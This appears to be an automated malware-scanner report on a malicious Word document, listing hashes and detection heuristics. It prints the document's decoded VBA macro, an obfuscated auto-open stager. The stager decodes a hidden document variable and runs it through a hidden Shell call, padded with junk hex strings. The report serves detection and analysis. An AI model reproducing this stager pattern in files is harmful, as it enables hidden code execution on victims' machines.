Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 caf470ee82450f8c…

MALICIOUS

Office (OLE)

128.5 KB Created: 2018-02-26 15:14:00 Authoring application: Microsoft Office Word First seen: 2021-02-23
MD5: 5e40ff4f7d71c5d7f15f3658f7f0f3e8 SHA-1: dc0283bad8ea311041775a709f328099faa5ae91 SHA-256: caf470ee82450f8c4735002e31f671acf1b6ee335658ef96117f2970645e0f40
220 Risk Score

Heuristics 8

  • ClamAV: Xls.Malware.Cwsp-6735643-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Xls.Malware.Cwsp-6735643-0
  • Malformed OLE auto-open stager with embedded ZIP payload critical OLE_RAW_MALFORMED_AUTOOPEN_STAGER
    Raw malformed OLE bytes contain an auto-open macro entry, embedded ZIP/theme package bytes, VBA project metadata, and URL/CMD/Shell staging tokens. This is a high-confidence exploit-builder shape where the OLE directory is intentionally malformed, preventing normal VBA extraction while leaving the auto-run stager visible in raw streams.
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
        Shell B_MK, vbHide
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
        Document_Open
  • Workbook_Open macro low OLE_VBA_WBOPEN
    Workbook_Open macro
    Matched line in script
    Sub Workbook_Open()
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 14628 bytes
SHA-256: 2819953161ebbd749fe57a550b1dc650f9accfba012b250ff2f27c9a8d4d5772
Detection
ClamAV: No threats found
Obfuscation or payload: likely
50 of 85 identifiers look randomly generated (e.g. 'B6B7B657B5A9F8582A87B667BAE947B7B73ABAF4') — consistent with name-mangling obfuscation. Carved artifact contains 49 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Option Explicit

Sub Workbook_Open()
Dim YWV_R As String
YWV_R = "7F7B7F7BA37B7B7BBB7BBA667B417B4B7B3E7B7B84B99A7B5C3C7B7B7B7B496A7B4F7B7B477B7B59777B7B7B7B7B7B917B4CAE7B7BB746AB7B7BA2B97D657B7B8C7B7B695D9D7B657B49E27B7B9EA56B7B7B9F857B877B6FAE8B7B4D575E8248577B70ADB2847B52AA847B90404F4D9F7B7B7B7B7B9C7BA"
Dim CAR_T As String
CAR_T = "2A27BB97B7B7B7B7BB2827B7B90948EA07B647B7B7F7BAA777B8763957E6C849A474C7B7B71AF7B81407B8F524AB37B7B567B7B905E7B857E52889797967052B47B85847B7BB57B7B787A3D7B7B7BBB7B63A9A8457B837B5B62827B7B7BB47B6A7B497B547B969D7B7B7B497B487B9D7BB57B967B7B8D7B"
Dim Q_U As String
Q_U = "944648787B7B677B9CAE7B403F7B7BB67B4A5B7B7B7B7B9FABA93D82BA987B8A697B89617B7B809A7B847B7B987B7B7B4F7B7FB17B487993B47166667B7B51667B7B5C7B7B7B7B7B7B517B717E427B7B7D7BA7BB7B7BAD7B4C7B927B557083A37BB37B7B643FA43DB57B7B924350AE7B7B7BB17B7B7B9F7"
Dim ZT_UM As String
ZT_UM = "B7B7B906B7B7B7B8A7B7B9B7B7B557B3FB9445F7B67447B7B657B877B7B7B7B7B487B75507B7B657B4492844F7B7B7B7BAE557B7B7BAEB94CAB415B7C56997B7B7B857BB3AA7B7B7B7B5E7BAD7BAF3DB87BBA7B6B4B7B60657B7B7B7B88B9A87B94BA7BA99B7B7B8B7B7B7B597B907B7BC49B8E8E80867B"
Dim K_YH As String
K_YH = "4C6EB35D608F429960827BA27B8B7E86967B41777B61A67B7B7B498D4176747B7BB07BB6877B7B7B497B7B7358447B7B817B447B7BBB7B987B485A487B7B407B7BAD7B4C7B7B7B987B537B7B7B8549BB7B7B7B2869657B7B7B3D5D7B7B7B8A7B837B7B7B76A2A87BA45C7B437B4C7B7B7B7E7B5D807B757"
Dim LB_PXK As String
LB_PXK = "B5A5540967B9F7B647B7B7B7BA27B7B997BA77B7B8E7B7BACB08E7B7B688D7BAC7B7B5D9D4D7B417BB0A04A867BA47BBB7B7B8AB37B647B7BB07B7BAAB29D41A07B60A27B6AAC7B5D7B607B617B7B7B7B7686B47B7B857B7B7B667BA77B427B818F7B7B8F7B7BA4459D7BAC82AA667B7B7B6F687B45B396"
Dim FU_K As String
FU_K = "7BA9693F7B8CA07B72717BA462477B7B7B4C7B1B9B7B7B7B7B7B7B7B777BA47B7B937BB97B7B7B754D7B7BA07B6FB87B7B547B527B7B407B41B1AD7B7B7B607B9B7B747B7B7B787B7B92677B5F7B7B667B7B7B4DB87B2C7B727B7BAE597B817B9A7B7B567B7B967B7B857B7B7B7B907B7B7642624D6D7B3"
Dim JKI_WF As String
JKI_WF = "D7B417B9D7874B77B7E7B3D8B4C7B7B6E997B49B755A67B7B797B83B07A7B897B7B54547BA78E7BB27B7B79457B407B86927B7BA45F917BB6A681609D7B43A37B80B37B7BAF5F7B464E7B7B75687B7B748F7B5AA67B7BA2976B7B93626A707B7BB47B7FA27B7B6F487B917B7B7B8A7B7B497B7B7B7B9B4C"
Dim BPD_IHV As String
BPD_IHV = "7F7B7B7B7B7B4E7B7BB37B617B7B617B9A6C7B7B7B8BBB7B7E627B7BB858A1B15E7B3DA3A77BB4B57B7B7B46B156847B7B7BA37B727B847B88517B7B7B448097A37B7B7B5F7B7B88539C7BB4B152637B7B7B7B7B7B7BBAB75692867B7B7B7BB77B7BA6857BB57B567B7B7B497B7BAD7B7B64A27B7BAC597"
Dim L_MK As String
L_MK = "B7BA47B3E91A5757B7B7B8C7B7B50A36E7B7BA57B7BA97F937B7B717B807B7B90897B3F4C4A549FA7A07B4C407B7B807B7B70477B42657B77618165A8707B7B643E7BAB7B4D925F7BB57B7B7B987A7B617B7B7B4C7B7B8A604B7B7B7B7B7B727B6C7B3D7B80B57BA64C7BB8447B7B7B7B3F7B7B9A647B87"
Dim K_R As String
K_R = "7B84A6967B7B7B7B7BB0797B7B687BA03C7B99817B877B40687B6C7B7B7B407B7B8F7B7B7B7B7C7B7BA67B7B5F7B7BB17B5B7BA37BAB9AA2697B8C797B617BA07B7BAA7BA085839E407B887B977B917BA84BA5497B73897B7B7B8B7B3F7B7BBB817B7768644C827BA49F7B5F7B467B7BB07B517B92907B5"
Dim YQW_GWA As String
YQW_GWA = "C7B7B7B7B7B3D7BAE3C527BA57B977B7B757666527B7BAC7B8A7B7B7B9C7B487B817B7B9D497B7B7B7B8F8D7B65887B56B07B7B787B7BAF7B7B3E63AC3C995852807B7B7B69B5757B45587B7B60B24B798152527B457B937B7BA73D7B7BA28F7B4F44777B7E83B88E7B7BA7667BB8747B7B677B8360487B"
Dim P_AJE As String
P_AJE = "97477B7BB39B7B7B3F4DAA7BBB3E7B7BA37B7B727B7B7B7B76A57B7B42A37B947B407B7B717B7B7BA77B5AA664557B7B7B7BAA8A7B7BB27BA49C7BAD46427B7B857B7B7B7B87797B7B7B7BB34D8B7B4E9D7BAD9F7B7B92B87B7B7D7B7F9D7B677BBA7B547B4D7B5F4C6E8B7B7BAE934C7B9A7BB07BA6417"
Dim NFH_Y As String
NFH_Y = "B7A6F7B7B467B795D777B7B7B7B7E8B8D8A8FAD9E7B7BB3B16D7B7B8A7B6DB5747BA3B255917B6AAF4B7B805458955E6F537B707BA06E8F7B7394A57B7B5583477B7B7B707BB870707B7BA77B9A68B2557B408073715F7C5A7B7F577B8549B1AD837B56537B9D7B8E7B747B477BB97B707E7BAB7B7B7B7B"
Dim C_IB As String
C_IB = "7BAC7B7B7B4293998F7B7BB37B7B417B7B448E497BAF99B24282417B7B4676747B7B7B9B7B7BAA785A7B417BA2797B7B7B727B7B7B437B7B8D52896990A9AEB16B7B7B7B637B7B7B7B4B7B9E647B955A7BA37B7B7B7B467B937B7B7B7B7B7B86888B853C583CAC7B7B7B617A7B8A53697BA17B7B7B7B7B9"
Dim Z_IT As String
Z_IT = "D7B3D7A3E7B7B459640A37B7B3C7B437B7B7B857B7B658B7B7BB0675759AD7BAD7B7D7B41837B7B7B4E7B7B507B8D7B7B557B7B8A7B7B9A6B4D7B6B7B8586675274847B7B7B527B917B7B847B7B7B5F7B6D40B57BB57B7B7B547B987B65B97BAB7B7B444A887B7B779B7B7B7B7B7B73AD7B7B807B9F957B"
Dim K_T As String
K_T = "7B7B7BA47B797BB29A7B807B94567B7BA97B7B987B7B587B7B8D7B6CAD757B487B7BA175926A907B7B729C7BA07B7B93447B7B757B7B7B7B7B778D9B41607B747B7B7B8E7B7A7E7B7B7B7B787B7BAE7B647B9E7B717B7B7B9A85557BAB6D787B687B847B7B817B7B85AB9A72B79B957B73A37B973E8D7B4"
Dim QG_YV As String
QG_YV = "77B6B7B657B5A9F8582A87B667BAE947B7B73ABAF417B7B8C7B737BB57B657BBA7B7B527B7BA48D7B7B707B7B7B7B4A7B7B5256967B7B6C407B7B7B7B7E7B977B7E607B7BAF7B7B475F7B5FAE7BBB7B4F7B607B527B7BB2A59E587B7B7B7BAC717B7B7B7B707B4D7B607B617BB17B8C7B6B887B98B5997B7B49B84DA58396717B7B787B7B9A7A7B567B7B7B7B9B7B7BA9507BAA8B657B7B7B7B7BA357747B7B7B7B84AB9A7B7B3FA07B7B7B7B7B8D7B7B7B977B7B7BA481A07B4EA47B7B7B627B7B607B997B615C6C86455C7B5451B87BA4858A7B847B657B7B7B7B7B7B"

    Document_Open
End Sub
Public Sub Document_Open()
Dim J_S As String
J_S = "7B7B8F4F7BA47B637B4269B49D7B9B7B72647273A67B72B57B7B5C7477467BB37B7B7B877B6B7B3C7B6EAC6E6B7B7E967B81937B7B94787B7BBA7B447B7B7B8E3C7B7B7B7B7B43AA727B74593F866F7B7BA77B7B487B757B42AA8B7B7BAC7B7BB07B6A7B897B867B8B9B7B7B407B7B6FB3B27B7B"
Dim TMD_OSA As String
TMD_OSA = "8481A97B987B4FAB7B7B7B7B5F57B4807B5CAB9F7B7BB97B9A7B5749767B647B677B7B5F7B7673537B7B7B987B7B537B6E7B9F787B557B69B990B17B5A7B7BB97B9690907B7B947B487B7B749C7B3F4A447BA4823F764664487B7B935A7B3D7B7B697B7B7B41B67B8A7B7BA17B7B8DA2B77D3F57"
Dim T_SQ As String
T_SQ = "737B5C86687B6B7B7B7B707B7B7B82A1667B867B7BB47B7B7B7B59AD7B7BB9857B7B9B7B89878B4B7B907B7B7B7B473D8CA67B947B48AA7B7BB44D5F8A877B7B5C7B477B42B57B7BAF7B7B997B8D70A27B8D598061467B6A7B587B76677B8D7B3D7B947B9D7B7B7B7B926D4C7B7B637B9B7B7BAA"
Dim GD_DVM As String
GD_DVM = "7B7BABB688987B7B84647B7B7B7B7B93407BB6777B7D7BA65940697B99AA9C93547B7B7BA97BB6697B7B697B967B556A7B7BA6BB8F7B7B4199846B41A37B7B6D7B977B677B59837B497B7B7B7B7B7950BB7B7B7BA5587BA37BA087647B7BA1B27BA7553E7B7B5FBB828E508B7F7B47567B7B5E7B"
Dim XXW_R As String
XXW_R = "957B7B707B7B7B7B3F7B5D87417B7BB97A587B94BA96437B607B956D7B3D7B7B597B717B53427C7B9D8B6E6A7B7B755A458B427B3C968F7B9A7B7B7B7F3D7D7B6A5C50B162517B7B59467BB468975B4E7B7B7B7B597BA5957C7B9E7B845A897B7BAF619496647BA9AE798543516D84A6AB7B8C7B"
Dim F_CE As String
F_CE = "7B4C7B7BA8AAA97B7B807B7B7B7B9E7B7B7B7A7B7B637B895C8D667B55897BB07B847B7B7BB77B7B797B6A7A7B5F7A7B9CAC7BA77B3C7BA2847B567F7BA77B7B7B697B46B97B8F7BA67BB84B7B697B7B5F4471837B8F7B7B7B7B40EFE44D61927B7B537B7B767B757B7B93677B837B7B8F9092B1"
Dim W_Z As String
W_Z = "7B7B7B7B7B7B987B7B9D7B787B767B7BA5977B7B8B7B7B8FB66D7E717B7B7BA37BA7417B6B7B6883B87BBB7B477B8C7B7B7B567B55988640797B667BAB5A9D7B8E7B717B7B75BA7B7B4F7E7BAB7B7B417B7B7B7B4A7B7BA87B7B997B7B837B46567BEF7B7BB97B73EE7B7B7B547B7BB4B6547B84"
Dim JSX_YX As String
JSX_YX = "7B657BB17C807F7B7B7B7B7F6A66588F7B7B447B5D644F7B807B7F7B717B7B7B77A67B7B507BBAAA547B427B7B7B6B7B7B4C7B637B517B6C8B3C7B7B40736A437B967B7BAC7B7B884470947BAB787B50427B7B7BAB7E68BA7B7BB97B7B7B7B7B723F7B7BA87B7B5BAB7B7B7B4F887BB6A17B7B7B"
Dim T_TN As String
T_TN = "7B69457B7B7B487BAC817B597B89B94DAC58764B7B5F7B7B5B5D7B6C78597B7B7A71A9447B7B7B7BB57B7B657B5C7B7BB94585917B7B9AAC847BA78C7B808E7B7B7BA67BB1547B627B7B7BAF7B7BA63C7B9D7B4F7B7B7B7B4A7B7BA07B747B7B98A9457B7B96A07B5E7B7B7B7BAC5AA77BB67B7A"
Dim FX_AN As String
FX_AN = "B97C657B7B7BA25B7BB57B7253617B867B42967B587B7B7B5F7B7C815A7B5F70597B7B7B50B97BA27B667B7B7B7B7B5C7BB0677B9C81A2467B5F617BBB7B7B3D7B71417BAE7B98637B7B7B8C8C3E7B7B7B5B7B44A87B7B827BA2957B41A4627B7B7B7B7B7B7B7B7BB07B7B995C7B5A7B7B617B7B"
Dim TX_PAF As String
TX_PAF = "7B7B7B7BAA6B7B7B7BA47B7BB27B3D558B987B757B7B4A7B4F44758DA97B7B3D7B887B563C44907B877B74477B7B7B416E829C7B7B7BAF7B7BA17B6E6A497B7B83657B7B548243447B7B7B3F7B655D7B7BA38DBA7B7B7B7B42B37B7B547B67A3997B7B7B7B7B7B7A947B90AB8BA48098A37B607B"
Dim MO_O As String
MO_O = "BB7B7B7A4E7B557F7B729C7B887B9E7B68B6A17C847B7B747B4B7BA57B7BAB7F9A5F748B9C7B5761507BB97B7B3F7B7B7787927B7B4142977BAB7B5F787B947B9E668C7B85576F7BAD7BA07B697BB27B559B7B7B7B8695BB977B767B7C3EB750BA7BA8AB7B487B7B608F7B7B7B7B6A7B7B7B7B83"
Dim V_NK As String
V_NK = "7B42AE5C7BA17B5A6C7B7B4C7B433E487B5F45B97B7B7B7B4A47677B667B7B6BA27B7B5A9E7BAE7B7B447B7B7B9E607B464B7B8562937B7BBA7BA37B7B7B7B46B37B6F7B7B7B8F7B7B7BB3587B60995B7B7B61937E7D7B467BBBB1598D727B527B517B6A7B637B7B7BB67F7B7BA9966383663C7B"
Dim ZFK_BQ As String
ZFK_BQ = "7B7B727B647B534F717B7B7B7B427B4ABB7B597B7B7B7B677B4D577B45477B7B7B7B7B7B417B4BAA7B477B88587B877B92496C547B7CAB7D7B6C427B7B7B7B467BAC506B7B7B7B7153B87BA44A3D7B7B8A7B7B7B7BAB7B449A45B281A2907D8E96AC574BA7BAAC7B7B9F7B7B6AB5637B7B8A7B7B"
Dim M_DR As String
M_DR = "7B7B6C7B7B7B517B637B7B587B7A837B877B7B7B7B7B546B7B8A8FAF7B7BA47B7B985A7B8A7B607B7B7B7B6F7B98AF7B7B493E7B7B7B607B3C62ABB97B7B708F4769945C7B6E7B7B7B5D7B577B6F7B7B7BB77B7A7B7B7B897B7BBA4868B97BB76B577B7B7BAC507B7B447B947B7B7B4F807B847B"
Dim O_EN As String
O_EN = "7B627B7B7B5FA7517B7B41693F7B497B7BBBA37B7B7B7B7B7B5C7B6E5575436E7D81A87B7BAD7BB667A67B667B7B7B7B727BADB07A7B70607B9B3E7B7BA07B7B7BB57B7B7B49B28B71A67B7B7B887B707BAF7B7B3F41737B434D7B7B417B6C6A966A4D8C7B7B61447B63617B7B7B7B7B7BA4787B"
Dim HC_USR As String
HC_USR = "AFA55E7B7B7B7B7B7B587B7B7B5E7B7B7B7B7B6C7B7B7B9C737B7B7B50B37BAC7B7B7BAE7BAF7BA67B66477B6C7B907B6D707B7B7F7B7B7B8C7B61AA7B7B4B467B6F5B7B64447B7C9B7B936CAEA99A7B7B8A7B7B7BAAB25D5E7B7B63A27B5D7BB1934E717B7B6E3EBA7BA67BA1907B7B7B949DA3"
Dim MIA_C As String
MIA_C = "7B857B41877BB27B6CB04A7B7B42B87B407BB67BA37B7B80929E706AA67B7B8EB87BA5937B8C957B7B6B9861A989557B7B7B7BBF7C7B637B7BB27DB07B7B8BA2B7AF4F8EA09D5C507B7B965B7B515785B07B7B7B8E7B6B7B977B86A37B82497B7B7B417B7B817B41B16F7B489D62678D41B27B5D7B5F7B41797B607B98899C7B77527B7B4D7B7B7B9B9F7A8A7B60777B7D7B7B9D7B7BAA477B7B7B7B7BBA7B51624BAFA9A1A03D7B7F5D7B837B7B7B7B71567BB87B7B7B857B9C7B7B407C7B7B7B7598507B707B6D7BB1"

    QC_Z
End Sub
Public Sub QC_Z()
    
   Dim B_MK As String
   Dim ASW_V As String
   Dim ZGA_FMV As Long
    Dim MA_F As String
    MA_F = ActiveDocument.Variables("CR6BD").Value
    GoTo x2
x1:
Dim DJ_T As String
DJ_T = "7B7B805C7B8F7982467B467B767B744FA27B7BA67B7BB886A57B7B7B7B7B9E7B877BB67B627B5EACA7457B9DB972AF787B3D74677B7B7B7B7B7B7BB0827B577B657B767B7B7B7B75A4AE7B4344A18095609C8C5C7B4B7B7B4B7B7B609DB1AE90B374B57B498FB07BB79156737B7885575D837B7B8665677B7B7B3"
Dim OOM_M As String
OOM_M = "F5D797F4D817B7B7B477B9B8F7B7B6D557B7B7B877B877B3E567B7B468A497B7B658B8EAC74807B4B8A7A777B7B7B5E544BAD7C727B997B997C7B7B7B7B967B657B957B7BB17B497893497B7C627B7B7B7B817B7B7BB74F7B89777BA17B7C7B7C7B5B7B93697B9E6597417B3C7BAB7B9C9D507B7B7B7B647B977B"
Dim P_BP As String
P_BP = "7B7B7B987B7B7B4E7B7BB9727B967BB9B97D7B8A7B7BA26E9F7B7E7B7B987B7B3CAF7B7B5B8A7B6D999D7B668E7B615667977B7B7B66967B7B7B7B5F7B7B7B7BA27B45BA7B7B3C5A7B457B7B928A637B7B953D4B7BA2847B7B6CBA7B497B7B7AB17B7B7B7B7B7B977B997B967B447B7B7B7B7B947B7BA67B7B7B9"
Dim H_U As String
H_U = "77B687B975C9188A68D7B7B5E7B7B7C7B7B7B7B7B7B877B7B937B7BA87B7B7B807B7B7075AC7B696B5B7B7B7BA27B7B7B7B007B447B7BB97B7B6368B17B7B7BA866A67B677B7B7BA47B7B487B7C7B907B7BAD7B798086B5A97B65587B7B545A7B7B957B7B557B4B7B51706E7B947B7BB47B42537F7B7B617B7B7B"
Dim E_Q As String
E_Q = "647B7B7B7B7B7B7B7B637B487B7B9D7B644C547B517B717B7B7B3D7B7B6F6F3E7B7B7B70B1B87B7B54717B7B7B949F7B7B51A77BA7A194427B7B7B4D8E527BA64651437B7B7BBB6D7B7BA47B597B7B7B737B597B6A6983646A7B7B7B7B7B5A7BAB7B7F973E3C4B7B7BAA7B7B797B5E7B5457777B7B7B7B7B7B7B7"
Dim D_S As String
D_S = "BBB7B72AB7B9594977D7B727B7B7BAB737B677B417B7B7B3F7B7B967B87B4597BA74774A49D7B7A7B5E7BAB767B8B658CBB7B7B7CB6507B7B7B7BAB3C7B7B7B7B7BAD7B7B427B497B7B889B7BAF7B447B6D877B7B93A47B7B7B7B7B937B7B4FB2627B838F7B867B7B7BAA6A7B7B537B7B7B7B967B7B927B7B7B7B"
Dim NKO_CUP As String
NKO_CUP = "653D7B5A46747B7B7B7B3C5E93BA7B7B7E7B7B4F7B7B7B7B7B84A57B7B827B5C7B7BA07B7B60A07B7B487E957B7B7B7B827BA07B7B614F7B8D93857B7B7B7BB77B117BB37B9C7B3F7B9A7B7B694F3C7B7B7B8CB1B57B57B67BBBB57D3E507B7B7B6A3F547B749A5EB37B7B7B7B7B5F7B7B6A81927B7B819551A07"
Dim HV_NYV As String
HV_NYV = "17B7BB8705B6D7B7B7B4C997B8F3D749F7B5A417B92BBAA7B7B737B7B7B7B64797B7B779E7B8D7BA55C7B7B8E3F7B7B7BB17B9A7B7B558D7BBB7B9DAE7B7B827B7B515FA0647BAA7B917B9B7B519E7B7BB67B857BB17B7BA87B7B697B7BAA7979837B7B7B947B7B867B7BA27B587B7B597BAF507EA29A7B7D05BA"
Dim X_KR As String
X_KR = "5D7B7B7B7B5D6091857B784A4757607B809E7B8D7B7B6F817BB6B17191837B7B5E7B7B7B7E787B7B7B7E658642938F7B9A7B7B9C7B68B87B617B7B7B3C3E7BB77BAEA0AD7B437B7B939E7B7B7B6B637B7BB9857B487B587B547B524D66477E63A37BA87B9E7B907B7B7B7B55817B917B957B537B7B98AA7B927B9"
Dim WZ_NJJ As String
WZ_NJJ = "57B7B7B885BB47B7B7B82887B65907B915C3E7BA2945C7B697B7BAA4658B27B7BBA407B7B7B7B6C7B6F4E7B6A95A0A3557B903F7BB97B427B949B45B37B887BB7907B8B60AE7B437B717B7BB87BA2467B3F7B707B3D707B796B7BF5447B90717B507F7B78887E7B7B7B9C657B7B7B7B7B7B7B7B7B579570A4A87B"
Dim XT_PWV As String
XT_PWV = "B87B428D837B7B9B98A07B7B778CA6507B7B7B7BAF77F362407B7BAE7B7B807C527B4B7B7B45B075837B5F7BAA7B7B5C7B7B777B777B7B937BB17B43827B60AE976E7B9E7BAC757B67A0937B6A7B8D4452457B7B4E7B5D7B497B8B7B7B7B6786937B7B7BA37B623E7B9497A95A7BB57B7B7B787B859C7B4C4E7BA"
Dim ZRY_MU As String
ZRY_MU = "E7B787B7B68877BA4A06D7B7B7B7B776D7BB0A87C7B7B6C7B7B6D3C7B7B7BA07B537B7B7B7D7B7B4D6F917E7BB1AC607B867BA6A77B6F487B7B7B867B7BA95A7B7B7B7BA87B6E7B85AF7B7BA07B7B5F7B6161A67B7B7B7B837B53A77B7B5F3F7B7B7B6E95A87B5DB67B6E7B7B7A7B477B7B847B83467B4F7B3F7B"
Dim EX_BH As String
EX_BH = "4D6E447B7B7D7B537B8D7B757B9084876E978F7B447B477B657B7B7BAA7B917B7B7BAE7B7C814F627B7B7B7B7B7B7B7B7B7A4C7B7F625C5B8E5368B84C7B8C7B737B957B9557497B7B7B8D917B4C7B7B7B617B9D817BB87B8E7B7B6A7B7B7B7E7B934D7B7B8E7B6C6D3C8A7B7B607E7BAB7B7B687B537B7B7B697B7B7368B54F5E7BAF537B7B556D4F7B6A7B7B7BB3457B8F767B7B4F9A7BAA8C757B5D977B3E7B5C937B544F7B7B7B7B7B467B80BB698C7B7B7BB53F7B5C7B7B7B7B487B7B5DB65C9BA17B7B7B4BB29C7B7B487B7B7B"

    Shell B_MK, vbHide
    GoTo x3
x3:
    Exit Sub
x2:
   For ZGA_FMV = 1 To Len(MA_F) Step 2
        ASW_V = Chr("&H" & Mid(MA_F, ZGA_FMV, 2))
        B_MK = B_MK & Chr(Asc(ASW_V) - 60)
   Next
   GoTo x1
End Sub

Open this report in the interactive analyzer, or submit your own file for analysis.